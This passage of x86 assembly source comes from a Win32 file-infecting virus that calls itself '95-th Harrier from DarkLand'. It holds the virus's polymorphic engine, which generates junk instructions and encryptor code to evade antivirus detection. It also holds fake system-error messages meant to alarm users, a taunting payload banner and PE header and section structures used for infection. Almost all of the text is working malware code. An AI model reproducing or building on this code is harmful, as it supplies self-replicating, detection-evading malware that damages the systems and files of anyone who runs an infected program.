Or Al,Bl
Pop EBx
Mov Ah,Al
Call GenArMem_Comp$
Ret

GenArMem_Imm$: Mov Al,2h ; Add; Sub (Imm)
Call Random
Add Al,Al
Or Al,81h
StosB
Call StoreByte
Xchg EAx,[ESp]
Push EAx
Mov Al,2h
Call Random
Or Al,Al
Pop EAx
Jz GenArmem_I_1$
Or Al,28h
GenArMem_I_1$: Mov Ah,Al
Xor Ah,28h
Call GenArMem_Comp$
Pop EAx
Cmp Al,83h
Jne GenArMem_I_2$
Mov Ax,100h ; Byte operand
Call Random
StosB
Call StoreByte
Ret
GenArMem_I_2$: Mov EAx,RandSeed ; DWord operand
StosD
Call StoreDWord
Ret

GenArMem_Comp$: Push EAx ; Compile addressing
And Al,7h ; modes (Corrupt EAx)
Cmp Al,4h
Je GenArMem_C_1$
Cmp Al,5h
Je GenArMem_C_2$
Pop EAx
StosB
GenArMem_C0$: Mov Al,Ah
Push EAx
And Al,7h
Cmp Al,4h
Je GenArMem_C_3$
Cmp Al,5h
Je GenArMem_C_4$
Pop EAx
Call StoreByte
Ret

GenArMem_C_1$: Pop EAx ; [ESp]
StosB
Mov Al,24h
StosB
Jmp GenArMem_C0$

GenArMem_C_2$: Pop EAx ; [EBp]
Or Al,40h
And Al,0FEh
StosB
Mov Al,25h
StosB
Mov Al,0h
StosB
Jmp GenArMem_C0$

GenArMem_C_3$: Pop EAx ; [ESp]
Call StoreByte
Mov Al,24h
Call StoreByte
Ret

GenArMem_C_4$: Pop EAx ; [EBp]
Or Al,40h
And Al,0FEh
Call StoreByte
Mov Al,25h
Call StoreByte
Mov Al,0h
Call StoreByte
Ret


; ---------------------------------------------------------
GenAnyCom: Push EAx
Push EBx ; Some command that
Push EDx ; changes registers
Mov EBx,EAx ; but don't change some
GenAnyCom_0_1$: Call GetNoESpReg ; registers by # in Ax (Ah,Al)
Cmp Al,Bl ; (Corrupt EAx)
Je GenAnyCom_0_1$
Cmp Al,Bh
Je GenAnyCom_0_1$
Mov Dl,Al
GenAnyCom_0_2$: Call GetNoESpReg
Cmp Al,Bl
Je GenAnyCom_0_2$
Cmp Al,Bh
Je GenAnyCom_0_2$
Mov Ah,Dl
Pop EDx
Pop EBx
Push EAx
Mov EAx,0Ch
Call Random
Or EAx,EAx
Jnz GenAnyCom_1$ ; ">0"
Pop EAx ; Ar command
Pop EAx
Jmp GenArCom

GenAnyCom_1$: Dec EAx
Jnz GenAnyCom_2$ ; ">1"
Pop EAx ; Mov/Lea command
Pop EAx
Push EDx
Call GenMovCom
Pop EDx
Ret

GenAnyCom_2$: Dec EAx
Jnz GenAnyCom_3$ ; ">2"
Pop EAx ; Cbw; Cwde
Pop EAx
Or Al,Al
Jz GenAnyCom
Or Ah,Ah
Jz GenAnyCom
Mov EAx,2h
Call Random
Or Al,Al
Jz GenAnyCom_2_1$
Mov Al,66h
StosB
GenAnyCom_2_1$: Mov Al,98h
StosB
Ret

GenAnyCom_3$: Dec EAx
Jnz GenAnyCom_4$ ; ">3"
Pop EAx ; Cwd; Cdq
Pop EAx
Or Al,Al
Jz GenAnyCom
Or Ah,Ah
Jz GenAnyCom
Cmp Al,2h
Je GenAnyCom
Cmp Ah,2h
Je GenAnyCom
Mov EAx,2h
Call Random
Or Al,Al
Jz GenAnyCom_3_1$
Mov Al,66h
StosB
GenAnyCom_3_1$: Mov Al,99h
StosB
Ret

GenAnyCom_4$: Dec EAx
Jnz GenAnyCom_5$ ; ">4"
Pop EAx ; Aas; Aaa; Daa; Das
Pop EAx
Or Al,Al
Jz GenAnyCom
Or Ah,Ah
Jz GenAnyCom
Mov EAx,4h
Call Random
Shl Al,3h
Or Al,27h
StosB
Ret

GenAnyCom_5$: Dec EAx
Jnz GenAnyCom_6$ ; ">5"
Pop EAx ; Aad; Aam
Pop EAx ; operand must be <>0
Or Al,Al
Jz GenAnyCom
Or Ah,Ah
Jz GenAnyCom
Mov EAx,2h
Call Random
Or Al,0D4h
StosB
Mov Al,0FFh
Call Random
Inc Al
StosB
Ret

GenAnyCom_6$: Dec EAx
Jnz GenAnyCom_7$ ; ">6"
Pop EAx ; Loop $+2
Pop EAx
Cmp Al,1h
Je GenAnyCom
Cmp Ah,1h
Je GenAnyCom
Mov Ax,0E2h
StosW
Ret

GenAnyCom_7$: Dec EAx
Jnz GenAnyCom_8$ ; ">7"
Mov Al,0D1h ; Rol; Shl;
StosB ; Ror; Shr; Sar;
Pop EAx ; Rcl; Rcr
Push EBx
Mov EBx,EAx
GenAnyCom_7_0$: Mov EAx,8h
Call Random
Cmp Al,6h
Je GenAnyCom_7_0$
Shl Al,3h
Or Al,Bl
Or Al,0C0h
StosB
Pop EBx
Pop EAx
Ret

GenAnyCom_8$: Dec EAx
Jnz GenAnyCom_9$ ; ">8"
Mov Al,89h ; Mov Reg1,Reg2
StosB
Pop EAx
Shl Al,3h
Or Al,Ah
Or Al,0C0h
StosB
Pop EAx
Ret

GenAnyCom_9$: Dec EAx
Jnz GenAnyCom_10$ ; ">9"
Mov Al,4h ; Adc; Sbb; Or; And
Call Random
Inc Al
Shl Al,3h
Or Al,1h
Push EBx
Mov EBx,EAx
Mov Al,2h
Call Random
Shl Al,1h
Or Al,Bl
Pop EBx
StosB
Pop EAx
Shl Al,3h
Or Al,Ah
Or Al,0C0h
StosB
Pop EAx
Ret

GenAnyCom_10$: Dec EAx
Jnz GenAnyCom_11$ ; ">10"
Mov Al,2h ; Adc; Sbb; Or; And [Imm]
Call Random
Or Al,Al
Pop EAx
PushF
Push EAx
Jz GenAnyCom_10a$
Mov Al,66h
StosB
GenAnyCom_10a$: Mov EAx,2h
Call Random
Shl Al,1h
Or Al,81h
StosB
Xchg EAx,[ESp]
Push EBx
Mov EBx,EAx
Mov EAx,4h
Call Random
Inc EAx
Shl Al,3h
Or Al,0C0h
Or Al,Bl
Pop EBx
StosB
Pop EAx
Cmp Al,83h
Je GenAnyCom_10b$
Mov Ax,Word Ptr RandSeed ; Imm16
StosW
PopF
Jnz GenAnyCom_10c$
Mov Ax,Word Ptr RandSeed+2 ; Imm32
StosW
GenAnyCom_10c$: Pop EAx
Ret

GenAnyCom_10b$: Mov EAx,100h ; Imm8
Call Random
StosB
PopF
Pop EAx
Ret

GenAnyCom_11$: Pop EAx
Or Al,50h ; Push Reg1 / Pop Reg2
StosB
Push EAx ; Seria of commands
Mov EAx,5h
Call Random
Push ECx
Mov ECx,EAx
Or ECx,ECx
Jz GenAnyCm_11_1$
GenAnyCm_11_1$: Mov EAx,[ESp][2*4]
Call GenAnyCom
Dec ECx
Jnz GenAnyCm_11_2$
GenAnyCm_11_2$: Pop ECx
Pop EAx
Mov Al,Ah
Or Al,58h
StosB
Pop EAx
Ret

; ---------------------------------------------------------
GenArCom: Push EAx
Push EBx ; Some command that pretty
Push EDx ; changes registers
Mov EBx,EAx ; but don't change some
GenArCom_0_1$: Call GetNoESpReg ; registers by # in Ax (Ah,Al)
Cmp Al,Bl ; (Corrupt EAx)
Je GenArCom_0_1$
Cmp Al,Bh
Je GenArCom_0_1$
Mov Dl,Al
GenArCom_0_2$: Call GetNoESpReg
Cmp Al,Bl
Je GenArCom_0_2$
Cmp Al,Bh
Je GenArCom_0_2$
Shl Al,3h
Or Al,Dl
Or Al,0C0h
Pop EDx
Pop EBx
Push EAx
Mov EAx,7h
Call Random
Or EAx,EAx
Jnz GenArCom_1$ ; ">0"
Pop EAx ; NoReg command
Pop EAx
Jmp GenNoRegCom

GenArCom_1$: Dec EAx
Jnz GenArCom_2$ ; ">1"
Mov Al,87h ; Xchg Reg1,Reg2
StosB
Call StoreByte
Pop EAx
StosB
Call StoreByte
Pop EAx
Ret

GenArCom_2$: Dec EAx
Jnz GenArCom_3$ ; ">2"
Pop EAx ; Push Reg1; Push Reg2
Mov Ah,Al ; Pop Reg2; Pop Reg1
And Al,7h
Or Al,50h
StosB
Call StoreByte
Mov Al,Ah
Shr Al,3h
And Al,7h
Or Al,50h
StosB
Call StoreByte
Push ECx ; Seria of commands
Push EAx
Mov EAx,5h
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenArCom_2_1$
GenArCom_2_2$: Mov EAx,[ESp][2*4]
Call GenArCom
Dec ECx
Jnz GenArCom_2_2$
GenArCom_2_1$: Pop EAx
Pop ECx
Mov Al,Ah
And Al,7h
Or Al,58h
StosB
Call StoreByte
Mov Al,Ah
Shr Al,3h
And Al,7h
Or Al,58h
StosB
Call StoreByte
Pop EAx
Ret

GenArCom_3$: Dec EAx
Jnz GenArCom_4$ ; ">3"
Mov EAx,2h ; Xor Reg1,Reg2
Call Random
Or Al,38h
Or Al,1h
StosB
Call StoreByte
Pop EAx
StosB
Call StoreByte
Pop EAx
Ret

GenArCom_4$: Dec EAx
Jnz GenArCom_5$ ; ">4"
Mov Al,2h ; Add Reg1,Reg2
Call Random ; Sub Reg1,Reg2
Or Al,Al
Jz GenArCom_4_1$
Mov Al,28h
GenArCom_4_1$: Or Al,1h
Push EBx
Mov EBx,EAx
Mov Al,2h
Call Random
Or Al,Bl
StosB
Call StoreByte
Pop EBx
Pop EAx
StosB
Call StoreByte
Pop EAx
Ret

GenArCom_5$: Dec EAx
Jnz GenArCom_6$ ; ">5"
Mov Al,2h ; Add; Sub; Xor [Imm]
Call Random
Or Al,Al
Pop EAx
PushF
Push EAx
Jz GenArCom_5_1$
Mov Al,66h
StosB
Call StoreByte
GenArCom_5_1$: Mov EAx,2h
Call Random
Shl Al,1h
Or Al,81h
StosB
Call StoreByte
Xchg EAx,[ESp]
Push EAx
Mov EAx,3h
Call Random
Shl Al,3h
Push ECx
Mov Cl,Al
Mov EAx,002830h
Shr EAx,Cl
Pop ECx
Xchg EBx,[ESp]
And Bl,7h
Or Al,Bl
Or Al,0C0h
StosB
Call StoreByte
Pop EBx
Pop EAx
Cmp Al,83h
Je GenArCom_5_2$
Mov Ax,Word Ptr RandSeed
StosW
Call StoreWord ; Imm16
PopF
Jnz GenArCom_5_3$
Mov Ax,Word Ptr RandSeed+2 ; Imm32
StosW
Call StoreWord
GenArCom_5_3$: Pop EAx
Ret

GenArCom_5_2$: Mov EAx,100h ; Imm8
Call Random
StosB
Call StoreByte
PopF
Pop EAx
Ret

GenArCom_6$: Mov Al,0D1h ; Rol Reg,1
StosB ; Ror Reg,1
Call StoreByte
Pop EAx
Push EBx
Mov EBx,EAx
Mov EAx,2h
Call Random
Shl Al,3h
And Bl,0C7h
Or Al,Bl
StosB
Call StoreByte
Pop EBx
Pop EAx
Ret

; ---------------------------------------------------------
GenMovCom: Push EBx ; Some command that loads
Mov EBx,EAx ; registers by values
GenMovCom_1$: Call GetNoESpReg ; but don't change some
Cmp Al,Bl ; register by # in Ax (Ah,Al)
Je GenMovCom_1$ ; set bit in mask
Cmp Al,Bh ; transferred in EDx
Je GenMovCom_1$ ; (Corrupt EAx)
Mov EBx,EAx
Push ECx
Mov Cl,Al
Mov EAx,1
Shl EAx,Cl
Or EDx,EAx ; Set bit in mask
Pop ECx
Mov EAx,2h
Call Random
Or Al,Al
Jz GenMovCom_Lea$
Mov Al,Bl ; Mov style
Or Al,0B8h
StosB
Call StoreByte
Mov EAx,RandSeed
StosD
Call StoreDWord
Pop EBx
Ret

GenMovCom_Lea$: Mov Al,8Dh ; Lea style
StosB
Call StoreByte
Mov Al,Bl
Shl Al,3h
Or Al,5h
StosB
Call StoreByte
Mov EAx,RandSeed
StosD
Call StoreDWord
Pop EBx
Ret

; ---------------------------------------------------------
GenNoRegCom: Xor EAx,EAx ; Some command that don't
Mov Al,0Eh ; change registers
Call Random ; (Corrupt EAx)
Or EAx,EAx
Jnz GenNoReg_1$ ; ">0"
Call GenNoFlagCom ; NoFlag command
Ret

GenNoReg_1$: Dec EAx
Jnz GenNoReg_2$ ; ">1"
Mov Al,2h ; Clc or Stc
Call Random
Or Al,0F8h
StosB
Ret

GenNoReg_2$: Dec EAx
Jnz GenNoReg_3$ ; ">2"
Mov Al,2h ; Cld or Std
Call Random
Or Al,0FCh
StosB
Ret

GenNoReg_3$: Dec EAx
Jnz GenNoReg_4$ ; ">3"
Mov Al,0F5h ; Cmc
StosB
Ret

GenNoReg_4$: Dec EAx
Jnz GenNoReg_5$ ; ">4"
Mov Al,4h ; Or Reg,Reg
Call Random
Or Al,8h
StosB
Call GetEqRegs
StosB
Ret

GenNoReg_5$: Dec EAx
Jnz GenNoReg_6$ ; ">5"
Mov Al,4h ; And Reg,Reg
Call Random
Or Al,20h
StosB
Call GetEqRegs
StosB
Ret

GenNoReg_6$: Dec EAx
Jnz GenNoReg_7$ ; ">6"
Mov Al,4h ; Cmp Reg1,Reg2
Call Random
Or Al,38h
StosB
Call GetNoEqRegs
StosB
Ret

GenNoReg_7$: Dec EAx
Jnz GenNoReg_8$ ; ">7"
Mov Al,2h ; Test Reg1,Reg2
Call Random
Or Al,84h
StosB
Call GetNoEqRegs
StosB
Ret

GenNoReg_8$: Dec EAx
Jnz GenNoReg_9$ ; ">8"
Mov Al,2h ; Test Reg,0XXXXh
Call Random
Or Al,0F6h
StosB
Push EAx
Call GetReg
Or Al,0C0h
StosB
Pop EAx
Cmp Al,0F6h
Jne GenNoReg_8_1$
Mov EAx,100h
Call Random
StosB
Ret
GenNoReg_8_1$: Mov EAx,RandSeed
StosD
Ret

GenNoReg_9$: Dec EAx
Jnz GenNoReg_10$ ; ">9"
Mov Al,2h ; Cmp Reg,0XXXXh
Call Random
Or Al,80h
StosB
Push EAx
Call GetReg
Or Al,0F8h
StosB
Pop EAx
Cmp Al,80h
Jne GenNoReg_9_1$
Mov EAx,100h
Call Random
StosB
Ret
GenNoReg_9_1$: Mov EAx,RandSeed
StosD
Ret

GenNoReg_10$: Dec EAx
Jnz GenNoReg_11$ ; ">10"
Call GetNoESpReg ; Inc Reg / Dec Reg
Or Al,40h
Push EBx
Mov Bl,Al
Mov Al,2h
Call Random
Shl Al,3h
Or Al,Bl
Pop EBx
StosB
Push EAx ; Some seria of commands
Push ECx
Mov EAx,5h ; How many. . .
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoReg_10_1$
GenNoReg_10_2$: Call GenNoRegCom
Dec ECx
Jnz GenNoReg_10_2$
GenNoReg_10_1$: Pop ECx
Pop EAx
Xor Al,8h
StosB
Ret

GenNoReg_11$: Dec EAx
Jnz GenNoReg_12$ ; ">11"
Mov Al,2h ; Rol Reg,1 / Ror Reg,1
Call Random ; Inc Reg,1 / Dec Reg,1
Push EAx
Mov Al,2h
Call Random
Or Al,Al
Pop EAx
Mov Ah,0D0h
Je GenNoReg_11_0$
Mov Ah,0FEh
GenNoReg_11_0$: Or Al,Ah
Push EAx
StosB
Call GetNoESpReg
Or Al,0C0h
Push EBx
Mov Bl,Al
Mov Al,2h
Call Random
Shl Al,3h
Or Al,Bl
Pop EBx
StosB
Push EAx ; Some seria of commands
Push ECx
Mov EAx,5h ; How many. . .
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoReg_11_1$
GenNoReg_11_2$: Call GenNoRegCom
Dec ECx
Jnz GenNoReg_11_2$
GenNoReg_11_1$: Pop ECx
Pop EAx
Xchg EAx,[ESp]
StosB
Pop EAx
Xor Al,8h
StosB
Ret

GenNoReg_12$: Dec EAx
Jnz GenNoReg_13$ ; ">12"
Mov Al,2h ; Xchg Reg1,Reg2 (Twice)
Call Random ; (without ESp)
Or Al,86h
Push EBx
Mov Bl,Al
Call GetNoEqRegs0
Mov Ah,Bl
Pop EBx
Xchg Ah,Al
StosW
Push EAx ; Seria ;-) from One command
Call GenNoRegCom
Pop EAx
StosW
Ret

GenNoReg_13$: Mov Al,2h ; Add; Sub; Xor [Imm]
Call Random ; Sub; Add; Xor [Imm]
Or Al,Al
PushF ; _Prefix
Jz GenNoReg_13_1$
Mov Al,66h
StosB
GenNoReg_13_1$: Mov Al,4h
Call Random
Or Al,80h
StosB
Push EAx ; _ComByte
Mov Al,3h
Call Random
Shl Al,3h
Push EAx ; _ComNum
Push ECx
Mov Cl,Al
Mov EAx,002830h
Shr EAx,Cl
Mov ECx,EAx
Call GetNoESpReg
Or Cl,Al
Xchg EAx,[ESp] ; _RegNum
Xchg EAx,ECx
Or Al,0C0h
StosB
Mov EAx,RandSeed
Push EAx ; _MagicDWord
Mov EAx,[ESp][3*4]
Cmp Al,81h
Jne GenNoReg13_2$
Mov EAx,[ESp]
StosW
Mov EAx,[ESp][4*4]
Push EAx
PopF
Jnz GenNoReg13_3$
Mov EAx,[ESp]
Shr EAx,16
StosW
Jmp GenNoReg13_3$

GenNoReg13_2$: Mov EAx,[ESp]
StosB

GenNoReg13_3$: Push ECx ; Seria of commands. . .
Mov EAx,5h
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoReg13_4$
GenNoReg13_5$: Call GenNoRegCom
Dec ECx
Jnz GenNoReg13_5$
GenNoReg13_4$: Pop ECx

Mov EAx,[ESp][4*4] ; Mirror command
Push EAx
PopF
Jz GenNoReg13_6$
Mov Al,66h
StosB
GenNoReg13_6$: Mov EAx,[ESp][3*4]
StosB
Push ECx
Mov ECx,[ESp][2*4]+4
Mov EAx,280030h
Shr EAx,Cl
Mov ECx,EAx
Mov EAx,[ESp][1*4]+4
Or Al,Cl
Or Al,0C0h
StosB
Pop ECx
Mov EAx,[ESp][3*4]
Cmp Al,81h
Jne GenNoReg13_7$
Mov EAx,[ESp]
StosW
Mov EAx,[ESp][4*4]
Push EAx
PopF
Jnz GenNoReg13_8$
Mov EAx,[ESp]
Shr EAx,16
StosW
GenNoReg13_8$: Add ESp,5*4
Ret

GenNoReg13_7$: Mov EAx,[ESp]
StosB
Add ESp,5*4
Ret

; ---------------------------------------------------------
GenNoFlagCom: Xor EAx,EAx ; Some command that don't
Mov Al,0Ah ; change anything
Call Random ; (Corrupt EAx)
Or EAx,EAx
Jnz GenNoFlag_1$ ; ">0"
Mov Al,90h ; Nop command
StosB
Ret

GenNoFlag_1$: Dec EAx
Jnz GenNoFlag_2$ ; ">1"
GenNoFlag_1_1$: Mov Al,4h ; Segments DS: ES: SS:
Call Random ; Without CS: !
Shl Al,3h
Or Al,26h
Cmp Al,2Eh
Je GenNoFlag_1_1$
StosB
Ret

GenNoFlag_2$: Dec EAx
Jnz GenNoFlag_3$ ; ">2"
Mov Ax,0E3h ; JECxZ $+2
StosW
Ret

GenNoFlag_3$: Dec EAx
Jnz GenNoFlag_4$ ; ">3"
Mov Al,2h ; Xchg Reg,Reg
Call Random
Or Al,86h
StosB
Call GetEqRegs
StosB
Ret

GenNoFlag_4$: Dec EAx
Jnz GenNoFlag_5$ ; ">4"
Mov Al,4h ; Mov Reg,Reg
Call Random
Or Al,88h
StosB
Call GetEqRegs
StosB
Ret

GenNoFlag_5$: Dec EAx
Jnz GenNoFlag_6$ ; ">5"
Call GetNoESpReg ; Push Reg / Pop Reg
Or Al,50h
StosB
Push EAx ; Some seria of commands
Push ECx
Mov EAx,5h ; How many. . .
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoFlag_5_1$
GenNoFlag_5_2$: Call GenNoFlagCom
Dec ECx
Jnz GenNoFlag_5_2$
GenNoFlag_5_1$: Pop ECx
Pop EAx
Or Al,8h
StosB
Ret

GenNoFlag_6$: Dec EAx
Jnz GenNoFlag_7$ ; ">6"
Mov Al,10h ; Jcc $+2
Call Random
Or Al,70h
StosB
Xor Al,Al
StosB
Ret

GenNoFlag_7$: Dec EAx
Jnz GenNoFlag_8$ ; ">7"
Mov Al,0EBh ; Jmps $+?
StosB
Mov Al,20h ; Jmp distance. . .
Call Random
StosB
Push ECx
Mov ECx,EAx
Or ECx,ECx
Jz GenNoFlag_7_1$
GenNoFlag_7_2$: Mov EAx,100h
Call Random
StosB
Dec ECx
Jnz GenNoFlag_7_2$
GenNoFlag_7_1$: Pop ECx
Ret

GenNoFlag_8$: Dec EAx
Jnz GenNoFlag_9$ ; ">8"
Mov Al,60h ; PushA / PopA
StosB
Push ECx ; Some seria of commands
Mov EAx,5h ; How many. . .
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoFlag_8_1$
GenNoFlag_8_2$: Call GenNoFlagCom
Dec ECx
Jnz GenNoFlag_8_2$
GenNoFlag_8_1$: Pop ECx
Mov Al,61h
StosB
Ret

GenNoFlag_9$: Mov Al,9Ch ; PushF / PopF
StosB
Push ECx ; Some seria of commands
Mov EAx,5h ; How many. . .
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoFlag_9_1$
GenNoFlag_9_2$: Call GenNoFlagCom
Dec ECx
Jnz GenNoFlag_9_2$
GenNoFlag_9_1$: Pop ECx
Mov Al,9Dh
StosB
Ret

; ---------------------------------------------------------
GetNoEqRegs0: Call GetNoESpReg ; Get Registers Mod R/M
Push EBx ; byte with any NoEq
Mov Bl,Al ; registers inside
Call GetNoESpReg ; this pack (without ESp)
Shl Al,3h
Or Al,Bl
Or Al,0C0h
Pop EBx
Ret

GetNoEqRegs: Call GetReg ; Get Registers Mod R/M
Push EBx ; byte with any NoEq
Mov Bl,Al ; registers inside
Call GetReg ; this pack
Shl Al,3h
Or Al,Bl
Or Al,0C0h
Pop EBx
Ret

GetEqRegs: Call GetReg ; Get Registers Mod R/M
Mov Ah,Al ; byte with any Eq registers
Shl Al,3h ; inside this pack
Or Al,Ah
Or Al,0C0h
Ret

GetNoESpReg: Call GetReg ; Get register number
Cmp Al,4h ; but without ESP
Je GetNoESPReg
Ret

GetReg: Mov EAx,8h ; Get register number
Call Random
Ret

; ---------------------------------------------------------
Enumer: Push EAx ; Enumerates the some
Push ECx ; procedure in EBx
Mov EAx,ECx ; ECx times with
Call Random ; parameters in EAx
Or ECx,ECx
Jz Enumer_0$
Enumer_1$: Mov EAx,[ESp][4]
Call EBx
Dec ECx
Jnz Enumer_1$
Enumer_0$: Pop ECx
Pop EAx
Ret

; ---------------------------------------------------------
StoreByte: Cmp Byte Ptr pEnableEncr,0h ; Stores the Byte data
Je StoreByte_0$ ; into encryptor buffer
Mov [ESi],Al
Inc ESi
StoreByte_0$: Ret

StoreWord: Cmp Byte Ptr pEnableEncr,0h ; Stores the Word data
Je StoreWord_0$ ; into encryptor buffer
Mov [ESi],Ax
Add ESi,2h
StoreWord_0$: Ret

StoreDWord: Cmp Byte Ptr pEnableEncr,0h ; Stores the DWord data
Je StoreDWord_0$ ; into encryptor buffer
Mov [ESi],EAx
Add ESi,4h
StoreDWord_0$: Ret

; ---------------------------------------------------------
Random: Push EDx ; Generate some random number
Push ECx ; to EAx by border in EAx
Push EAx ; (0..Border-1)
Mov EAx,RandSeed ; Don't corrupt registers
Mov ECx,8088405h ; [from TurboPascal v7.0]
Mul ECx ; (Based on Congruent
Inc EAx ; generating algorythm)
Mov RandSeed,EAx
Pop ECx
Mul ECx
Pop ECx
Mov EAx,EDx
Pop EDx
Ret

;Separator=_Nop
; ---------------------------------------------------------
; Data for convertor
;DefCodeLine
ConvertDataLen = 4h
ConvertData Label DWord
Dd Offset SearchStr1
Dd Offset ReplaceStr1

Dd Offset SearchStr2
Dd Offset ReplaceStr2

Dd Offset SearchStr3
Dd Offset ReplaceStr3

Dd Offset SearchStr4
Dd Offset ReplaceStr4
;BreakCodeLine

SearchStr1 Db 'MICROSOFT',0
SearchStr2 Db 'WINDOWS',0
SearchStr3 Db 'BILL GATES',0
SearchStr4 Db 'HARRIER',0

ReplaceStr1 Db 'MIcrOSOFT',0
ReplaceStr2 Db 'WINDOwS',0
ReplaceStr3 Db 'Gill Bates',0
ReplaceStr4 Db 'Oh! Guys! Is it about me?',0

; ---------------------------------------------------------
;DefCodeLine
InfoName Db 'OEMINFO.INI',0h
InfoNameL = $-InfoName
;BreakCodeLine
;DefCodeLine
BitMapName Db 'OEMLOGO.BMP',0h
BitMapNameL = $-BitMapName
;BreakCodeLine

SelfSectionName Db '.TEXT',0,0,0

InfSelfHeader Db '"95-th Harrier from DarkLand"',0
InfEnterDebug Db 'Entering to DEBUG mode.',0
InfCancelMsg Db 'Infecting aborted by Creator!',0
InfNoNameMsg Db 'Name not specified.',0

;DefCodeLine
HelloMsg Label Byte
Db 'Oops, World, it is Me!',Cr
Db 'Can You image it? I am the Win32 platform based virus!',Cr
Db 'Hey, Daniloff! Will You porte Your DrWeb at this platform?',Cr
Db 'Hmm, Guy, what You think about Watcom C++ ?',Cr
Db Cr
Db 'Greetings goes to Gill Bates and to her Mircosoft Windoze 95 sucks,',Cr
Db ' and to rest lame part of world.',Cr
Db Cr
Db 'Ugly Lamers MUST DIE!',Cr
Db Cr
Db 'Who am I ? I am the "95-th Harrier from DarkLand" !!!',Cr
Db 'I come from dark, I invade Your PC and now I will invade Your mind. . .',Cr
Db Cr
Db ' TechnoRat',Cr
Db Cr
Db Ver,Release,BasedOn,Cr
Db 0
;BreakCodeLine

InfGodHelp Db 'God will help! ;-)',0

; ---------------------------------------------------------
;DefCodeLine
FuckMsgCounter = 6h
FuckMessages Label DWord
Dd FuckMsg1,FuckMsg2,FuckMsg3,FuckMsg4,FuckMsg5,FuckMsg6
;BreakCodeLine

FuckMsg1 Db 'System malfunction!',0
FuckMsg2 Db 'VXDs rings overcrossed!',0
FuckMsg3 Db 'CPU mode thunking error!',0
FuckMsg4 Db 'CPU overclocked, cooler device emergency!',0
FuckMsg5 Db 'Help subsystem is damaged!',0
FuckMsg6 Db 'Attention! Bugs inside computer, use SoftIce.',0

; ---------------------------------------------------------
; Here will be placed the very nice files. . .
BFile BitMapFile,HarrLogo.Bmp,HarrBtMpFile_Sz
BFile InfoFile,HarrInfo.Ini,HarrInfoFile_Sz

MemBase Dd ? ; Program base in memory
HostIP Dd ? ; for returning to host
Here Dd ? ; self place in RAM
Debug Dd 0h ; debugging flag
HelpCounter Dd 0h ; for FuckingHelp ;-)
InitOk Dd 1h ; Initialize semaphore:
; 0 - process performing
; 1 - must be initialized
; 2 - initialized Ok.

; ---------------------------------------------------------
; Real copyright by creator.
;DefCodeLine
Irpc Char,<(C)reated by TechnoRat (hacker)>
Db '&Char' Xor 0FFh
EndM
;BreakCodeLine

; ---------------------------------------------------------
RandSeed Dd ?
StubEntryLabel Dd ?
ImagePlace Dd ?
CurrentPlace Dd ?
PolyMorphSz Dd 0h ; The size of decriptors
StubImportPlace Dd ?
ImportPlace Dd ?
ImportLength Dd ?
BufferPlace Dd ?

; ---------------------------------------------------------
; The Virtual stack variables
Var DosHeader ,40h ; Dos Header place
Var FileHandle ,DWord ; Generic file variables
Var FileAttributes ,DWord
Var FileNamePtr ,DWord
Var FileLastWrite ,8h ; Generic file Date/Time
Var FileLastAccess ,8h
Var FileCreation ,8h
Var ProcessedBytes ,DWord
Var NewSeconds ,Word
Var PackedTime ,8h
Var SomePath ,MaxPathLen

Var PEFileHeaders ,DWord

Var ImportLegal ,DWord ; Import section parameters
Var ImportPhysOffs ,DWord
Var ImportRVA ,DWord
Var ImportFlags ,DWord
Var ImportOrder ,DWord

;DefCodeLine
Var FT_Struc ,0h ; System Time description
Var FT_Year ,Word
Var FT_Month ,Word
Var FT_DayOfWeek ,Word
Var FT_Day ,Word
Var FT_Hour ,Word
Var FT_Minute ,Word
Var FT_Second ,Word
Var FT_Milliseconds ,Word
;BreakCodeLine

Var pBaseReg ,Byte ; PolyMorph gen. vars
Var pSemReg ,Byte
Var pEnableEncr ,Byte
Var pBase ,DWord
Var pSem ,DWord
Var pXchg ,DWord
Var pMov ,DWord
Var pBaseAdd ,DWord
Var pBaseSub ,DWord
Var pAgain ,DWord
Var pAgain_E ,DWord
Var pAdd ,DWord

Var GenSz ,DWord ; PolyMorph link vars
Var GenCrSz ,DWord
Var GenTotalSz ,DWord
Var Cryptors ,2*4*16
Var CryptCnt ,DWord

;DefCodeLine
Var Section ,0h
SectBegin = _VarAddr ; Section header description
Var SectName ,8h
Var SectVirtSize ,DWord
Var SectRVA ,DWord
Var SectPhysSize ,DWord
Var SectPhysOffs ,DWord
Var SectR ,3*4h
Var SectFlags ,DWord
SectSize = _VarAddr-SectBegin
;BreakCodeLine

;DefCodeLine
Var SelfSection ,0h
SelfSectBegin = _VarAddr ; Self section description
Var SelfSectName ,8h
Var SelfSectVirtSize,DWord
Var SelfSectRVA ,DWord
Var SelfSectPhysSize,DWord
Var SelfSectPhysOffs,DWord
Var SelfSectR ,3*4h
Var SelfSectFlags ,DWord
SelfSectSize = _VarAddr-SelfSectBegin
;BreakCodeLine

;DefCodeLine
Var PEHeader ,0h
PEHeaderBegin = _VarAddr ; PE Header description
Var PE_Sign ,DWord
Var PE_CPUType ,Word
Var PE_NumOfSections,Word
Var PE_TimeDate ,DWord
Var PE_PtrToCOFFTbl ,DWord
Var PE_COFFTblSize ,DWord
Var PE_NTHdrSize ,Word
Var PE_Flags ,Word
Var PE_Magic ,Word
Var PE_LMajor ,Byte
Var PE_LMinor ,Byte
Var PE_SizeOfCode ,DWord
Var PE_SizeOfIData ,DWord
Var PE_SizeOfUIData ,DWord
Var PE_EntryPointRVA,DWord
Var PE_BaseOfCode ,DWord
Var PE_BaseOfData ,DWord
Var PE_ImageBase ,DWord
Var PE_ObjectAlign ,DWord
Var PE_FileAlign ,DWord
Var PE_OsMajor ,Word
Var PE_OsMinor ,Word
Var PE_UserMajor ,Word
Var PE_UserMinor ,Word
Var PE_SubSysMajor ,Word
Var PE_SubSysMinor ,Word
Var PE_R1 ,DWord
Var PE_ImageSize ,DWord
Var PE_HeaderSize ,DWord
Var PE_FileChkSum ,DWord
Var PE_SubSystem ,Word
Var PE_DllFlags ,Word
Var PE_StackReserveSz,DWord
Var PE_StackCommitSz,DWord
Var PE_HeapReserveSz,DWord
Var PE_HeapCommitSz ,DWord
Var PE_LoaderFlags ,DWord
Var PE_NumOfRVAAndSz,DWord
Var PE_ExportTableRVA,DWord
